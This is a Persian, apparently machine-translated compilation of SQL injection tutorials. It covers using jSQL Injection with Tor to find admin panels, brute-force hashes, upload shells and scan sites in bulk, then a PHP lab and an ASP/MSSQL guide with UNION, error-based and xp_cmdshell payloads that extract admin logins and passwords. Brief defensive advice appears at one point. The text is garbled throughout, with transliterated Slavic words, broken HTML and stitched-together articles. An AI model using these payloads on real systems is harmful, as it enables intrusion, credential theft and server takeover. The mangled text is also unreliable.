فایل وارد شده را با دوبار کلیک اجرا کنید (شما باید یک ماشین مجازی داشته باشید).

3. ناشناس بودن در طول ساعت بررسی سایت با استفاده از SQL-injection

راه اندازی Tor و Privoxy در کالی لینوکس

[متولد از کودکی]

راه اندازی Tor و Privoxy در ویندوز

[متولد از کودکی]

راه اندازی ربات ها از طریق پراکسی ها در jSQL Injection

[متولد از کودکی]

4. بررسی سایت برای تزریق SQL با تزریق jSQL

کار با برنامه فوق العاده ساده است. تنها کاری که باید انجام دهید این است که آدرس وب سایت را وارد کرده و ENTER را فشار دهید.

تصویر زیر نشان می دهد که سایت حداکثر سه نوع تزریق SQL را ارائه می دهد (اطلاعات مربوط به آنها در گوشه سمت راست پایین نشان داده شده است). با کلیک بر روی نام تزریق، می توانید روش انتخاب را تغییر دهید:

ما قبلاً اساس آشکار این داده ها را نشان داده ایم.

می توانید به جای نمودار پوستی به جدول زیر نگاه کنید:

داده های مدیر مناسب را از جداول انتخاب کنید.

اگر خوش شانس بودید و جزئیات مدیر را فهمیدید، برای خوشحالی خیلی زود است. همچنین باید پنل مدیریت را بدانید که کجا باید داده ها را وارد کنید.

5. مدیریت jSQL Injection را جستجو کنید

برای این کار به تب بعدی بروید. در اینجا ما در جریان آدرس های احتمالی گرفتار شده ایم. می توانید یک یا چند صفحه را برای بررسی انتخاب کنید:

مزیت این است که نیازی به ویکوریزه کردن برنامه های دیگر نیست.

متأسفانه، برنامه های ضعیف زیادی وجود ندارد که رمزهای عبور را در دید ساده ذخیره کند. اغلب در یک ردیف از رمزهای عبور استفاده کنید mi bachimo schos na zrazok

8743b52063cd84097a65d1633f5c74f5

تسه هش. یوگو را می توان با استفاده از نیروی بی رحم رمزگشایی کرد. І... تزریق jSQL ممکن است شامل یک نیروی بی رحم باشد.

6. هش های Brute-forcing با استفاده از jSQL Injection

بدون شک استفاده از آنها آسان است زیرا نیازی به استفاده از برنامه های دیگر نیست. غنای محبوب ترین هش ها افزایش یافته است.

این بهترین گزینه نیست. برای تبدیل شدن به یک گورو در رمزگشایی هش ها، کتاب روسی را توصیه می کنیم.

خوب، البته، اگر برنامه دیگری در دسترس ندارید یا زمان زیادی برای یادگیری ندارید، jSQL Injection با تابع brute-force اضافه شده حتی مناسب تر خواهد بود.

تنظیمات را بیابید: می توانید تعیین کنید چه کاراکترهایی در رمز عبور گنجانده شده است، محدوده رمز عبور.

7. عملیات با فایل ها پس از تشخیص تزریق SQL

علاوه بر عملیات با پایگاه های داده - خواندن و اصلاح آنها، هنگامی که یک تزریق SQL شناسایی شد، عملیات فایل زیر را می توان انجام داد:

  • خواندن فایل ها روی سرور
  • آپلود فایل های جدید روی سرور
  • انتقال پوسته ها به سرور

و همه چیز با jSQL Injection پیاده سازی می شود!

تبادل Є - سرور SQL ممکن است دارای امتیازات فایل باشد. مدیران منطقی سیستم نمی توانند اتصالات و دسترسی به سیستم فایل را رد کنند.

وجود امتیازات فایل را می توان به راحتی تأیید کرد. به یکی از برگه ها (خواندن فایل ها، باز کردن پوسته، افزودن فایل جدید) بروید و سعی کنید یکی از عملیات تعیین شده را لغو کنید.

حتی مهمتر از آن احترام است - ما باید مسیر دقیق پرونده ای را که در آن کار خواهیم کرد بدانیم - در غیر این صورت هیچ کاری از دستش بر نمی آید.

به اسکرین شات بعدی نگاهی بیندازید:

هر زمان که عملیات را با یک فایل امتحان می کنیم، به ما می گویند: بدون امتیاز FILE(بدون امتیاز فایل). و در اینجا هیچ کاری نمی توان کرد.

اگر خسته شدی رحمت دیگری هست:

مشکل در نوشتن در [directory_name]

این به این معنی است که قبل از نیاز به نوشتن فایل، مسیر مطلق را اشتباه وارد کرده اید.

برای تصمیم گیری مطلق، حداقل باید بدانید که سیستم عاملی که روی آن سرور در حال اجرا است. برای این کار به تب Network بروید.

چنین رکوردی (ردیف Win64) فرض کنیم در سمت راست در سیستم عامل ویندوز چه کاری می توانیم انجام دهیم:

Keep-Alive: timeout=5, max=99 سرور: Apache/2.4.17 (Win64) PHP/7.0.0RC6 اتصال: Keep-Alive روش: HTTP/1.1 200 OK Content-Length: 353 تاریخ: جمعه، 11 دسامبر 11:48:31 GMT X-Powered-By: PHP/7.0.0RC6 نوع محتوا: text/html; charset=UTF-8

در اینجا تعدادی از یونیکس (*BSD، Linux) داریم:

Transfer-Encoding: chunked تاریخ: جمعه، 11 دسامبر 2015، 11:57:02 GMT روش: HTTP/1.1 200 OK Keep-Alive: timeout=3، max=100 اتصال: keep-alive نوع محتوا: text/html X- پشتیبانی شده توسط: PHP/5.3.29 سرور: Apache/2.2.31 (یونیکس)

و در اینجا ما CentOS را داریم:

روش: HTTP/1.1 200 OK منقضی می‌شود: پنج‌شنبه، 19 نوامبر 1981، 08:52:00 GMT Set-Cookie: PHPSESSID=9p60gtunrv7g41iurr814h9rd0; path=/ اتصال: keep-alive X-Cache-Lookup: MISS از t1.hoster.ru:6666 سرور: Apache/2.2.15 (CentOS) t1.hoster.ru Cache-Control: no-store, no-cache, باید مجدداً تأیید شود، پس از بررسی = 0، پیش بررسی = 0 رمزگذاری انتقال: تکه تکه شده، نوع محتوا: متن/html. charset=WINDOWS-1251

در ویندوز، پوشه استاندارد برای وب سایت ها است C:\Server\data\htdocs\. اما، در حقیقت، اگر "به فکر" اجرای یک سرور در ویندوز بودید، احتمالاً این شخص از مزایای آن چیزی نمی دانست. بنابراین، varto را مستقیماً از دایرکتوری C:/Windows/ امتحان کنید:

مثل باچیمو، بار اول همه چیز به طرز معجزه آسایی پیش رفت.

Ale shelley jSQL Injection من شک دارم. اگر امتیازات فایل وجود دارد، می توانید از رابط وب استفاده کنید.

8. تأیید انبوه سایت ها با استفاده از تزریق SQL

این عملکرد jSQL Injection است. ساده است - لیست سایت ها را انتخاب کنید (می توانید از یک فایل وارد کنید)، مواردی را که می خواهید بررسی کنید انتخاب کنید و برای شروع عملیات روی دکمه مناسب کلیک کنید.

Visnovok با تزریق jSQL

jSQL Injection یک ابزار خوب و قدرتمند برای جستجو و جستجوی بیشتر دانش در سایت های تزریق SQL است. مزایای بی شمار آن: سادگی استفاده، اجرای توابع اضافی. jSQL Injection می تواند بهترین دوست یک تازه کار در تحلیل وب سایت باشد.

برای مدت کوتاهی درباره عدم امکان ویرایش پایگاه‌های داده صحبت می‌کردم (این قابلیت را نمی‌دانم). مانند همه ابزارهای دارای رابط گرافیکی، برخی از این برنامه ها را می توان به عدم توانایی استفاده از اسکریپت ها نسبت داد. اتوماسیون پروتئین در این برنامه با اجرای عملکرد بررسی انبوه سایت ها امکان پذیر است.

استفاده از برنامه jSQL Injection بسیار ساده تر از sqlmap است. همچنین، sqlmap از انواع بیشتری از تزریق SQL پشتیبانی می کند، گزینه هایی برای کار با فایروال فایل ها و بسیاری از توابع دیگر دارد.

نکته: jSQL Injection بهترین دوست یک هکر است.

اطلاعات مربوط به این برنامه را می توانید در دایره المعارف لینوکس کالی در این صفحه پیدا کنید: http://kali.tools/?p=706

برای شما خواندم، خواندم. بقیه زمان ها در امنیت وب غرق خواهم شد و دنیای آواز ربات به آن متصل است. زیرا من بیشتر و بیشتر به احتمال زیاد کسانی را در انجمن های مختلف تگ می کنم، مشتاقم نشان دهم که همه چیز چگونه کار می کند و می خواهم مقاله بنویسم. این مقاله به کسانی تعلق می گیرد که با موارد مشابه آشنا نیستند، اما مایل به یادگیری هستند. Merezha بدیهی است که مقالات زیادی در مورد این موضوع دارد، اما برای شروع دشوار است. من سعی خواهم کرد همه چیز را با درک و گزارش خود توصیف کنم.

پردمووا

برای درک این مقاله، شما نیازی به دانش SQL ندارید، اما دوست دارید مقدار زیادی صبر و چند عنصر برای حافظه داشته باشید.

من احترام می گذارم که فقط خواندن مقاله کافی نخواهد بود، زیرا ... ما به لبه های زنده نیاز داریم - همانطور که تمرین نشان می دهد، روند حافظه یک تسخیر نیست. به همین دلیل است که ما درباره فیلمنامه ها می نویسیم و روی آنها تمرین می کنیم.

تزریق SQL چیست؟
به بیان ساده، این حمله به پایگاه داده برای اجازه دادن به Vikonati است که توسط خالق فیلمنامه برنامه ریزی نشده بود. نمونه ای از زندگی:

پدر به یادداشت مامان نوشت و از او خواست 100 روبل به واسیا بدهد و آن را روی میز بگذارد. با گرانی بیش از حد زبان SQL آتشین، ما این موارد را رد می کنیم:
DISTAN Z gamantsya 100 روبل IH Vasya

بنابراین، پدر چقدر بد یادداشت را نوشت (دستخط ناشیانه) و آن را روی میز گذاشت و برادر واسیا، پتیا را خراب کرد. پتیا که یک هکر بود، "ABO Pete" را در آنجا اضافه کرد و وییشوف چنین نوشت:
DISTAN Z gamantsa 100 روبل IHIV IH Vasya ABO Peti

مامان با خواندن یادداشت گفت که دیروز به واسیا پول داد و 100 روبل به پتیا داد. محور نمونه‌ای ساده از بینش‌های SQL از زندگی است:) بدون فیلتر کردن داده‌ها (مامان برای درک دست خط استفاده می‌کرد)، پتیا به سود رسید.

آماده سازی
برای تمرین، به آرشیوهایی با اسکریپت های خروجی این مقاله نیاز دارید. آن را دانلود کرده و روی سرور باز کنید. همچنین پایگاه داده را وارد کرده و داده ها را از فایل نصب کنید cfg.php

جستجوی تزریق SQL

همانطور که قبلا متوجه شده اید، خروجی از داده های ورودی ظاهر می شود که فیلتر نشده اند. گسترده ترین فیلتر - این فیلتر توسط ID منتقل می شود. خب، به نظر بی ادبی است که پنجه همه را در زمین بگذاریم. مطمئن شوید که GET/POST و ارسال کوکی!

پارامتر ورودی عددی
برای تمرین به یک اسکریپت نیاز داریم index1.php. همانطور که قبلاً گفتم، ما پای خود را در شناسه محصول جدید قرار دادیم.

زیرا ما از فیلترینگ درخواست می کنیم:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

فیلمنامه قابل درک است

SELECT * FROM news WHERE id=1"

و ما را رحمت کن:
اخطار: mysql_fetch_array() انتظار دارد که پارامتر 1 منبع باشد، بولی که در C:\WebServ\domains\sqlinj\index1.php در خط 16 داده شده است.

اگر آرامش را ندیده اید، دلایل زیر ممکن است وجود داشته باشد:

1.SQL هیچ گزینه ای در اینجا وجود ندارد - پدها فیلتر شده اند، یا صرفاً هزینه تغییر روی آن است (int)
2. عفو معلولان.

Yakshcho هنوز هم لذت برد - هورا! ما اولین نوع تزریق SQL - پارامتر ورودی عددی را کشف کرده ایم.

پارامتر ورودی رشته

برای اطلاعات بیشتر در مورد index2.php. این فایل به شکل زیر است:
$user = $_GET["کاربر"]; $query = "SELECT * FROM news WHERE user="$user"";

در اینجا یک مورد جدید به نام تاجر انتخاب می کنیم و دوباره فیلتر نمی شود.
باز هم از شما می خواهم که با پنجه خود بپرسید:

رحمتی بود. خوب! یعنی مقاوم است. برای شروع، بیایید با تمرین شروع کنیم.

بیا شروع کنیم

کمی تئوری

شایان ذکر است، شما نمی توانید صبر کنید تا همه چیز را به جز رحمت از بین ببرید. اول از همه، بفهمید علامت چیست -- من از تفسیر در Movi SQL قدردانی می کنم.

UVAGA! قبل و بعد از تکلیف واجب جدید تسویه حساب وجود دارد. URL بوی بد را منتقل می کند %20

هر چیزی که بعد از کامنت می آید بیرون ریخته می شود.
SELECT * FROM news WHERE user="AlexanderPHP" - habrahabra

در دوردست محو می شود. با وارد کردن دستور زیر می توانید آن را روی اسکریپت index2.php امتحان کنید:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

پارامتر خواندن اتحاد. اتصال. کلمه کلیدی Movi SQL اتحاد. اتصالاین شامل ترکیب نتایج دو کوئری SQL در یک جدول است. بنابراین، به منظور استخراج آنچه ما از جدول دیگری نیاز داریم.

درخشش را از بین ببریم

از آنجایی که پارامتر "Numerical" است، در نوشتن نیازی به زور نداریم و به طور طبیعی نظر را در خط قرار می دهیم. برگردیم به فیلمنامه index1.php.

به اسکریپت برگردید sqlinj/index1.php?id=1 UNION SELECT 1. درخواست به پایگاه داده به صورت زیر است:
SELECT * FROM news WHERE id=1 UNION SELECT 1
و او ما را عفو کرد، زیرا اما برای کار با برنامه های ترکیبی، به تعداد زیادی فیلد نیاز داریم.

زیرا ما نمی توانیم قدرت آنها را با اولی تطبیق دهیم، سپس باید قدرت آنها را با دیگری جمع کنیم تا با اولی مطابقت داشته باشد.

تعداد فیلدها را انتخاب می کنیم

انتخاب فیلدها بسیار ساده است، فقط موارد زیر را بپرسید:
sqlinj/index1.php?id=1 UNION SELECT 1,2
رحمت...
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
باز هم رحم می کنم!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
بدون رحم! یعنی تعداد بلندگوها برابر با 5 عدد است.

دسته بندی بر اساس
بیشتر اوقات این اتفاق می افتد که زمینه ها می توانند 20 یا 40 یا حتی 60 باشند. بنابراین ما در حال حاضر از آنها عبور نکنیم، vikorystvo دسته بندی بر اساس

یاکشو شستش
sqlinj/index1.php?id=1 GROUP BY 2
بدون دیدن برش ها، تعداد فیلدها بیشتر از 2 است. بیایید امتحان کنیم:

Sqlinj/index1.php?id=1 GROUP BY 8
اتفاقاً یعنی تعداد فیلدها کمتر از 8 است.

از آنجایی که با GROUP BY 4 هیچ حاشیه ای وجود ندارد و با GROUP BY 6 حاشیه وجود دارد، به این معنی است که تعداد فیلدها کمتر از 5 است.

اهمیت stovptsiv، scho vyvodyatsya
برای اطمینان از اینکه از اولین درخواست چیزی برای ما نمایش داده نمی شود، کافی است یک شناسه ناشناخته ارائه دهید، به عنوان مثال:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5

به همین دلیل است که ما تعیین کرده ایم که کدام موارد در کنار نمایش داده می شوند. اکنون برای جایگزینی این اعداد با اطلاعات مورد نیاز، باید به درخواست ادامه دهید.

ادای احترام Videdennya

ما می دانیم که هنوز یک جدول وجود دارد کاربرانکه در آن فیلدها ظاهر می شود شناسه, نامі عبور.
باید اطلاعات حسابدار با ID=1 را حذف کنیم

پس بیایید این را بپرسیم:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 از کاربران WHERE id=1
اسکریپت نیز به نمایش خود ادامه می دهد

برای این منظور به جای اعداد 1 و 3، نام فیلدها را جایگزین می کنیم

Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM کاربران WHERE id=1
آنچه لازم بود را بردند!

برای "پارامتر ورودی معمولی"، مانند اسکریپت index2.phpشما باید یک پنجه به بلال و یک علامت تفسیر در پایان اضافه کنید. باسن:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM کاربران WHERE id=1 --%20

خواندن/نوشتن فایل ها

برای خواندن و نوشتن فایل ها، مدیر پایگاه داده حق FILE_PRIV را دارد.
نوشتن فایل
در واقع همه چیز بسیار ساده است. برای نوشتن در یک فایل، از تابع استفاده می کنیم OUTFILE.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
بسیار خوب، فایل نزد ما ثبت شده است. به این ترتیب می‌توانیم پوسته کوچک را پر کنیم:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20
خواندن فایل ها
خواندن فایل‌ها بسیار آسان‌تر است، به زیر مراجعه کنید. کافی است فقط عملکرد را ویکوریز کنید LOAD_FILE، به جای فیلد انتخاب می کنیم:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

به این ترتیب فایل ضبط قبلی را می خوانیم.

راه های زاخیست

محافظت از خود و جلوگیری از ریختن آن حتی ساده تر است. فقط داده ها را فیلتر کنید. اگر در حال انتقال اعداد هستید، vikorist
$id = (int) $_GET["id"];
همانطور که به koristuvach malroc گفتم. از ویکی PDO یا عبارات آماده شده استفاده کنید.

تعویض کامل شد

اینجاست که می‌خواهم اولین بخش خود را درباره «تزریق SQL برای افراد تازه کار» به پایان برسانم. دیگران به کاربردهای مهم تزریق نگاه خواهند کرد. سعی کنید خودتان اسکریپت بنویسید و سوالات خود را بنویسید.
و به یاد داشته باشید، به شایستگی وب سایت خود اعتماد نکنید.

SQL Injection برای آدمک‌ها، شرور ASP+MSSQL

الکساندر آنتیپوف

این مقاله حاوی حقایق جدیدی نیست، تزریق SQL توضیحات گسترده ای دارد و به طور گسترده مورد سوء استفاده قرار می گیرد. این مقاله بیشتر برای مبتدیان مناسب است، اما شاید حرفه ای ها بتوانند یک یا دو ترفند جدید را یاد بگیرند.


این مقاله قصد دارد به افراد تازه کار کمک کند تا با مشکلاتی که هنگام استفاده از تکنیک های تزریق SQL ایجاد می شود، مقابله کنند، آنها را با موفقیت شکست دهند و از خود در برابر چنین حملاتی محافظت کنند.

وارد

اگر سرور فقط پورت 80 را باز داشته باشد و اسکنر نشت نتواند چیز بدی را تشخیص دهد، و می دانید که مدیر سیستم همیشه به سرعت همه وصله ها را روی وب سرور نصب می کند، که شانس ما از شر وب محروم است. تزریق SQL یکی از انواع web-evil است که vikorists از بیش از 80 پورت استفاده می کنند و هنگام نصب پچ ها می توان از آن برای حمله استفاده کرد. این حمله عمدتاً بر روی افزونه‌های وب (مانند ASP، JSP، PHP، CGI و غیره) و همچنین مستقیماً به وب سرور یا سرویس‌های موجود در سیستم عامل انجام می‌شود.

این مقاله حاوی حقایق جدیدی نیست، تزریق SQL توضیحات گسترده ای دارد و به طور گسترده مورد سوء استفاده قرار می گیرد. این مقاله بیشتر برای مبتدیان مناسب است، اما شاید حرفه ای ها بتوانند یک یا دو ترفند جدید را یاد بگیرند. همچنین توصیه می کنم برای به دست آوردن اطلاعات دقیق تری در مورد انواع عوامل در این زمینه به مقاله زیر نگاهی بیندازید.

1.1 تزریق SQL چیست؟

SQL Injection روشی است که برای معرفی پرس و جوها / دستورات SQL از طریق صفحات وب استفاده می شود. وب سایت های زیادی وجود دارند که پارامترهای ارائه شده به مشارکت کنندگان وب را نمایش می دهند و SQL را برای ورود به پایگاه داده اجرا می کنند. برای بررسی بیشتر ثبت نام مشتری با چنین نام و رمز عبور، می توان در صورت وجود صفحه وب با نام و رمز عبور، ورود به سیستم مشتری را وارد کرد و کوئری SQL را در پایگاه وارد کرد. با SQL Injection، می توانید یک فیلد نام کاربری و/یا رمز عبور ارسال کنید که پرس و جوی SQL را تغییر می دهد، که به هر حال می توانید به ما بدهید.

2.0 What mi maєmo shukati

سعی کنید صفحاتی را پیدا کنید که می توانید داده ها را جمع آوری کنید، به عنوان مثال صفحه جستجو، صفحه بحث و غیره. برخی از صفحات HTML از روش POST برای ارسال دستورات به سایر صفحات وب استفاده می کنند. در این صورت، نیازی به نگرانی در مورد پارامترهای URL نخواهید داشت. اما در این حالت می توانید تگ "FORM" را به کد خروجی HTML صفحات اضافه کنید. شما چیزی شبیه به این خواهید دانست:



تمام پارامترها بین

і
بالقوه می تواند قبل از وارد شدن کد SQL منتشر شود.

2.1 اگر طرف مقدمه vikory را نمی دانستید چه می کنید؟

به دنبال صفحاتی مانند صفحات وب ASP، JSP، CGI یا PHP باشید. سعی کنید دریابید که از چه صفحاتی می توانید از پارامترهایی مانند:

3.0. چگونه می توانم تأیید کنم که کسانی که می شناسم در آب هستند؟

سعی کنید از یک پنجه شروع کنید. وارد ردیف تهاجمی شوید:

سلام" یا 1=1--

فیلد نام مشتری دارای رمز عبور یا رمز عبور در پارامتر URL است. باسن:

ورود: سلام" یا 1=1--
پاس: سلام" یا 1=1--
http://duck/index.asp?id=hi" یا 1=1--

اگر از فیلد دریافتی استفاده کرده اید، فقط HTML خروجی را دانلود کنید، آن را در هارد دیسک خود ذخیره کنید، URL و فیلد دریافتی را تغییر دهید. باسن:



اگر شانس با شماست، می توانید بدون نام کاربری یا رمز عبور وارد سیستم شوید.

3.1 چرا "یا 1=1--؟

بیایید به مثال دیگری نگاهی بیندازیم که پیچیدگی طرح "یا 1=1-- را توضیح می دهد. علاوه بر دور زدن ثبت نام، می توانید به اطلاعات اضافی که در دسترس نیست نیز نگاه کنید. بیایید نگاهی به صفحه asp بیندازیم. ، که از طرف دیگر کمک خواهد کرد بیایید شروع کنیم URL:

http://duck/index.asp?category=food

در URL، "رده" مقداری است که به آن اختصاص داده شده است و "غذا" مقداری است که به مقدار اختصاص داده شده است. برای انجام این کار، سمت asp می تواند کد تهاجمی را حذف کند:

v_cat = درخواست ("رده")
sqlstr="انتخاب * از محصول WHERE PCategory="" & v_cat & """
تنظیم rs=conn.execute(sqlstr)

همانطور که می بینید، تغییر ما به v_cat متصل می شود و SQL به این صورت می نویسد:

انتخاب * از محصول WHERE PCcategory="food"

این ترتیب باید برای قرار دادن یک یا چند ردیف، همانطور که با WHERE که در آن نوع "غذا" ظاهر می شود، چرخانده شود. URL اکنون به صورت زیر تغییر می کند:

http://duck/index.asp?category=food" یا 1=1--
انتخاب * از محصول WHERE PCcategory="food" یا 1=1--

این بدون توجه به اینکه آیا Pcategory همان "غذا" است، جایگزین تمام ردیف‌های جدول محصول می‌شود. نماد دوگانه "-" نشان می دهد که سرور MS SQL دستوری را که با یک پا (") دنبال می شود نادیده می گیرد. همچنین می توانید نماد دوتایی را با یک "#" تیز جایگزین کنید.

با این حال، از آنجایی که این سرور SQL نیست که پیروز می شود، یا نمی توانید درخواست را نادیده بگیرید، سعی کنید:

" یا "a"="a

اکنون از SQL خواسته می شود:

انتخاب * از محصول WHERE PCcategory="food" یا "a"="a"

این به نوبه خود همان نتیجه را خواهد داشت.

بدون پرسیدن SQL واقعی، احتمالاً باید برخی از این امکانات را امتحان کنید:

"یا 1=1--
"یا 1=1--
یا 1=1--
" یا "a"="a
" یا "a"="a
") یا ("a"="a

4.0 چگونه می توانم با استفاده از تزریق SQL از راه دور از دستورات خارج شوم؟

امکان وارد کردن دستور SQL به این معنی است که می توانیم دستورات SQL را وارد کنیم. نصب MS SQL Server تابع حقوق سیستم است. ما می توانیم رویه های داخلی از نوع master..xp_cmdshell را برای اجرای دستورات اضافی از راه دور فراخوانی کنیم:

"; exec master..xp_cmdshell "ping 10.10.1.2" --

سعی کنید از پایه های تاشو (") استفاده کنید، زیرا (") کار نمی کند.

نقطه پایان دادن به SQL فعلی از شما می خواهد که به شما اجازه اجرای دستورات جدید SQL را بدهید. برای تأیید اینکه دستور با موفقیت ارسال شده است، می‌توانید بسته‌های ICMP را در 10.10.1.2 تأیید کنید که حاوی برخی از بسته‌های سرور ریخته‌گری است:

http://site/?ID=31610

اگر درخواست ابزار پینگ را از سرور غیرفعال نکرده باشید و اعلان مربوط به لغو را که مجوز لغو را نشان می دهد حذف کنید، ممکن است مدیر دسترسی به وب سرور را برای ذخیره رویه ها محدود کند.

5.0 چگونه نتایج یک پرس و جو SQL را استخراج کنیم؟

می توانید از sp_makewebtask برای نوشتن دستور HTML خود استفاده کنید:

"؛ EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html"، "SELECT * FROM INFORMATION_SCHEMA.TABLES"

نشان IP مسئول پوشه "اشتراک گذاری" با دسترسی برای همه است.

6.0 چگونه می توانم داده ها را از پایگاه داده، اطلاعیه های vikoryst و ODBC در مورد اصلاحات بازیابی کنم؟

ما می‌توانیم به اطلاعات اعلان اصلاح SQL دسترسی پیدا کنیم تا هرگونه داده را حذف کنیم. به عنوان مثال، بیایید به مرحله بعدی نگاه کنیم:

http://duck/index.asp?id=10

اکنون سعی خواهیم کرد کل '10' را با یک ردیف دیگر در پایگاه داده ترکیب کنیم:

http://duck/index.asp?id=10 UNION TOP 1 TABLE_NAME را از INFORMATION_SCHEMA.TABLES-- انتخاب کنید

جدول سیستم INFORMATION_SCHEMA.TABLES حاوی اطلاعاتی درباره همه جداول روی سرور است.

فیلد TABLE_NAME به وضوح با نام هر جدول در پایگاه داده مطابقت دارد. او لباس پوشیده است، بنابراین ما می دانیم که او دوباره خواهد خوابید. درخواست ما:

TOP 1 TABLE_NAME را از INFORMATION_SCHEMA انتخاب کنید.TABLES--

این ابتدا در پایگاه داده ثبت می شود. اگر UNION مقدار رشته ای تا 10 داشته باشد، MS SQL Server سعی می کند رشته nvarchar را به یک عدد صحیح تبدیل کند. این نیاز به رحمت دارد تا به شما اطلاع دهد که نمی توانید nvarchar را به int تبدیل کنید. سرور این خیرخواهی را نشان می دهد:


خطای نحوی مقدار nvarchar "table1) رخ می دهد" to a column of data type int. !}!}
/index.asp، خط 5

اطلاعات مربوط به رحمت حاوی اطلاعاتی درباره معانی است که به طور کلی قابل پردازش نیستند. از این جعبه نام اولین جدول - "جدول 1" را برداشتیم.

برای حذف نام اصلی جدول، می توانیم از ورودی اصلی استفاده کنیم:

http://duck/index.asp?id=10 UNION TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA را انتخاب کنید. جدولهایی که TABLE_NAME در آنها نیست ("table1")--

همچنین می توانیم ادای احترام، vikoryst و کلید LIKE را جستجو کنیم:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME مانند "%25login%25"--

خطای Microsoft OLE DB Provider for ODBC Drivers "80040e07" خطای نحوی مقدار nvarchar "admin_login" to a column of data type int. !}!} /index.asp، خط 5

ساختار عمومی %25login%25 با %login% در سرور SQL جایگزین خواهد شد. در این قسمت نام جدول را انتخاب می کنیم که مطابق با معیار "admin_login" است.

6.1 چگونه می توانم نام تمام ستون های جدول را پیدا کنم؟

می‌توانیم جدول INFORMATION_SCHEMA.COLUMNS را تغییر دهیم تا نام تمام ستون‌ها در جدول نمایش داده شود:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login"-

خطای Microsoft OLE DB Provider for ODBC Drivers "80040e07"
خطای نحوی در تبدیل مقدار nvarchar "login_id" to a column of data type int. !}!}
/index.asp، خط 5

اکنون که از مرحله اول اطلاع داریم، می توانیم از NOT IN() برای حذف نام مرحله بعدی استفاده کنیم:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NOT IN ("login_id")-

خطای Microsoft OLE DB Provider for ODBC Drivers "80040e07"
خطای نحوی مقدار nvarchar "login_name" to a column of data type int. !}!}
/index.asp، خط 5

در ادامه، اسامی دیگر شرکت کنندگان را رد می کنیم. "رمز عبور"، "جزئیات"، ما هنوز این مجوز را لغو نخواهیم کرد.

http://duck/index.asp?id=10 UNION 1 COLUMN_NAME برتر را از INFORMATION_SCHEMA انتخاب کنید.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NOT IN ("login_id","login_name", "password---details")

خطای Microsoft OLE DB Provider for ODBC Drivers "80040e14"
اگر عبارت حاوی عملگر UNION باشد، ORDER BY باید در لیست انتخاب ظاهر شود.
/index.asp، خط 5

6.2. چگونه می توانیم ادای احترام مورد نیاز خود را دریافت کنیم؟

حال اگر داده های جداول مهم را شناسایی کرده باشیم می توانیم از همین تکنیک برای استخراج اطلاعات از پایگاه داده استفاده کنیم.

بیایید اولین login_name را از جدول "admin_login" حذف کنیم:

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

خطای Microsoft OLE DB Provider for ODBC Drivers "80040e07"
خطای نحوی با مقدار nvarchar "neo" to a column of data type int. !}!}
/index.asp، خط 5

اکنون می دانیم که کاربر مدیر یک نام ورود به سیستم "neo" دارد. ما می توانیم رمز عبور "neo" را حذف کنیم:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name="neo"--

خطای Microsoft OLE DB Provider for ODBC Drivers "80040e07"
خطای نحوی مقدار nvarchar "m4trix) رخ می دهد" to a column of data type int. !}!}
/index.asp، خط 5

اکنون می توانیم به عنوان “neo” با رمز “m4trix” وارد سیستم شویم.

6.3 چگونه مقادیر عددی یک سری را استنباط کنیم؟

مبادله با روشی که در بالا توضیح داده شد. اگر بخواهیم متنی را که از اعداد تشکیل شده است (فقط کاراکترهای بین 0...9) تبدیل کنیم، نمی توانیم اعلان لغو را لغو کنیم. اجازه دهید اکنون نحوه بازیابی رمز عبور "31173" از "Trinity" Koristuvach را شرح دهیم:

http://duck/index.asp?id=10 UNION 1 کلمه عبور برتر را از admin_login که در آن login_name="trinity"--

ما آهنگ "Page Not Found" را به صورت آواز-آهنگ می خوانیم. دلیل آن این است که رمز عبور "31173" به یک عدد قبل از UNION با یک عدد صحیح (برای دفعات 10) تبدیل می شود. بنابراین، اگر عبارت UNION صحیح خروجی باشد، سرور SQL هیچ اطلاعیه ای در مورد ریست دریافت نمی کند و به این ترتیب نمی توانیم رکورد دیجیتال را لغو کنیم.

برای حل این مشکل می توانیم سری اعداد را با حروف زیر به انتها اضافه کنیم تا ایجاد مجدد صورت نگیرد. تغییرات نوشته خواهد شد:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b"%20morpheus") FROM admin_login where login_name="trinity"--

ما به سادگی از علامت مثبت (+) استفاده می کنیم تا رمز عبور را با هر متنی در پایان اضافه کنیم (کدگذاری ASSCII برای + + = 0x2b). سپس "%20morpheus" را تا انتها به رمز عبور واقعی اضافه می کنیم. بنابراین، معنای رمز عبور "31173" یا "31173 morpheus" است. من به صورت دستی تابع convert() را فراخوانی می کنم و سعی می کنم "31173 morpheus" را به یک عدد صحیح تبدیل کنم، SQL Server یک پیام ODBC در مورد تبدیل نمایش می دهد:

خطای Microsoft OLE DB Provider for ODBC Drivers "80040e07"
خطای نحوی در تبدیل مقدار nvarchar "31173 morpheus" to a column of data type int. !}!}
/index.asp، خط 5

اکنون می‌توانیم با رمز عبور «31173» به عنوان «ترینیتی» وارد سیستم شویم.

7.0 چگونه داده ها را در پایگاه داده تغییر/درج کنیم؟

